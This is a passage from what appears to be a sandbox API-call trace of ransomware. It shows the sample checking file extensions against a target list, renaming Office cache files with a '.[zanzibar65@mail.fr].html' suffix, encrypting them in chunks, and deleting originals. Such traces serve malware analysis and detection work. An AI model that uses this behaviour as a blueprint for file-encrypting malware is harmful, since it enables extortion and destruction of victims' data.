Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.497] lstrlenW (lpString=".doc") returned 4 [0046.497] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.497] lstrlenW (lpString=".docx") returned 5 [0046.497] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0046.497] lstrlenW (lpString=".pdf") returned 4 [0046.497] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.497] lstrlenW (lpString=".xls") returned 4 [0046.497] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.497] lstrlenW (lpString=".xlsx") returned 5 [0046.497] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0046.497] lstrlenW (lpString=".ppt") returned 4 [0046.497] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.497] lstrlenW (lpString=".zip") returned 4 [0046.497] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.497] lstrlenW (lpString=".rar") returned 4 [0046.497] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.498] lstrlenW (lpString=".bz2") returned 4 [0046.498] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.498] lstrlenW (lpString=".7z") returned 3 [0046.498] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.498] lstrlenW (lpString=".dbf") returned 4 [0046.498] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.498] lstrlenW (lpString=".1cd") returned 4 [0046.498] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.498] lstrlenW (lpString=".jpg") returned 4 [0046.498] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.498] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0046.498] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0046.498] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.498] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=27532288) returned 1 [0046.499] CloseHandle (hObject=0x204) returned 1 [0046.499] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0046.499] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.499] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0046.499] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.499] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.499] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.499] ReadFile (in: hFile=0x204, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.504] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.504] ReadFile (in: hFile=0x204, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.514] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.514] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.515] ReadFile (in: hFile=0x204, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.529] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.785] WriteFile (in: hFile=0x204, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0046.804] SetEndOfFile (hFile=0x204) returned 1 [0047.172] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f8cbd8 [0047.176] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.176] WriteFile (in: hFile=0x204, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.177] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.177] WriteFile (in: hFile=0x204, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.180] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.180] WriteFile (in: hFile=0x204, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.182] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8cbd8 | out: hHeap=0x220000) returned 1 [0047.182] CloseHandle (hObject=0x204) returned 1 [0047.183] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0047.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.183] lstrlenW (lpString=".doc") returned 4 [0047.183] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.183] lstrlenW (lpString=".docx") returned 5 [0047.183] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0047.183] lstrlenW (lpString=".pdf") returned 4 [0047.183] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.183] lstrlenW (lpString=".xls") returned 4 [0047.183] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.183] lstrlenW (lpString=".xlsx") returned 5 [0047.183] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0047.183] lstrlenW (lpString=".ppt") returned 4 [0047.183] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.183] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.183] lstrlenW (lpString=".zip") returned 4 [0047.183] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.183] lstrlenW (lpString=".rar") returned 4 [0047.183] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.183] lstrlenW (lpString=".bz2") returned 4 [0047.183] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.183] lstrlenW (lpString=".7z") returned 3 [0047.183] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.184] lstrlenW (lpString=".dbf") returned 4 [0047.184] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.184] lstrlenW (lpString=".1cd") returned 4 [0047.184] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.184] lstrlenW (lpString=".jpg") returned 4 [0047.184] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.184] lstrlenW (lpString=".doc") returned 4 [0047.184] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.184] lstrlenW (lpString=".docx") returned 5 [0047.184] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0047.184] lstrlenW (lpString=".pdf") returned 4 [0047.184] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.184] lstrlenW (lpString=".xls") returned 4 [0047.184] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.184] lstrlenW (lpString=".xlsx") returned 5 [0047.184] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0047.184] lstrlenW (lpString=".ppt") returned 4 [0047.184] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.184] lstrlenW (lpString=".zip") returned 4 [0047.184] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.184] lstrlenW (lpString=".rar") returned 4 [0047.184] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.184] lstrlenW (lpString=".bz2") returned 4 [0047.184] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.184] lstrlenW (lpString=".7z") returned 3 [0047.185] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.185] lstrlenW (lpString=".dbf") returned 4 [0047.185] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.185] lstrlenW (lpString=".1cd") returned 4 [0047.185] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0047.185] lstrlenW (lpString=".jpg") returned 4 [0047.185] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.185] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0047.185] lstrlenW (lpString="setup.exe") returned 9 [0047.185] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.230] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1377656) returned 1 [0048.230] CloseHandle (hObject=0x204) returned 1 [0048.230] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0048.230] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.230] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.231] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.231] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.231] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.231] GetLastError () returned 0x0 [0048.231] ReadFile (in: hFile=0x204, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0048.258] WriteFile (in: hFile=0x1f8, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0048.418] ReadFile (in: hFile=0x204, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x50588, lpOverlapped=0x0) returned 1 [0048.432] WriteFile (in: hFile=0x1f8, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0048.441] ReadFile (in: hFile=0x204, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.441] WriteFile (in: hFile=0x1f8, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.441] SetEndOfFile (hFile=0x1f8) returned 1 [0048.441] CloseHandle (hObject=0x1f8) returned 1 [0048.442] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.442] SetEndOfFile (hFile=0x204) returned 1 [0048.445] CloseHandle (hObject=0x204) returned 1 [0048.445] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0048.445] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0048.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.445] lstrlenW (lpString=".doc") returned 4 [0048.445] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.445] lstrlenW (lpString=".docx") returned 5 [0048.445] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0048.445] lstrlenW (lpString=".pdf") returned 4 [0048.445] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.446] lstrlenW (lpString=".xls") returned 4 [0048.446] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.446] lstrlenW (lpString=".xlsx") returned 5 [0048.446] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0048.446] lstrlenW (lpString=".ppt") returned 4 [0048.446] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.446] lstrlenW (lpString=".zip") returned 4 [0048.446] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.446] lstrlenW (lpString=".rar") returned 4 [0048.446] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.446] lstrlenW (lpString=".bz2") returned 4 [0048.446] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.446] lstrlenW (lpString=".7z") returned 3 [0048.446] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.446] lstrlenW (lpString=".dbf") returned 4 [0048.446] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.446] lstrlenW (lpString=".1cd") returned 4 [0048.446] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.446] lstrlenW (lpString=".jpg") returned 4 [0048.446] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.446] lstrlenW (lpString=".doc") returned 4 [0048.446] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.446] lstrlenW (lpString=".docx") returned 5 [0048.446] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0048.446] lstrlenW (lpString=".pdf") returned 4 [0048.446] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.446] lstrlenW (lpString=".xls") returned 4 [0048.447] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.447] lstrlenW (lpString=".xlsx") returned 5 [0048.447] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0048.447] lstrlenW (lpString=".ppt") returned 4 [0048.447] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.447] lstrlenW (lpString=".zip") returned 4 [0048.447] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.447] lstrlenW (lpString=".rar") returned 4 [0048.447] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.447] lstrlenW (lpString=".bz2") returned 4 [0048.447] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.447] lstrlenW (lpString=".7z") returned 3 [0048.447] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.447] lstrlenW (lpString=".dbf") returned 4 [0048.447] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.447] lstrlenW (lpString=".1cd") returned 4 [0048.447] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.447] lstrlenW (lpString=".jpg") returned 4 [0048.447] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.447] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0048.447] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0048.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0049.871] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=36233052) returned 1 [0049.871] CloseHandle (hObject=0x210) returned 1 [0049.872] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0049.872] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0049.872] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0049.872] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0049.872] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.872] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.872] ReadFile (in: hFile=0x210, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.876] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.878] ReadFile (in: hFile=0x210, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.881] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.881] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.881] ReadFile (in: hFile=0x210, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.896] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, 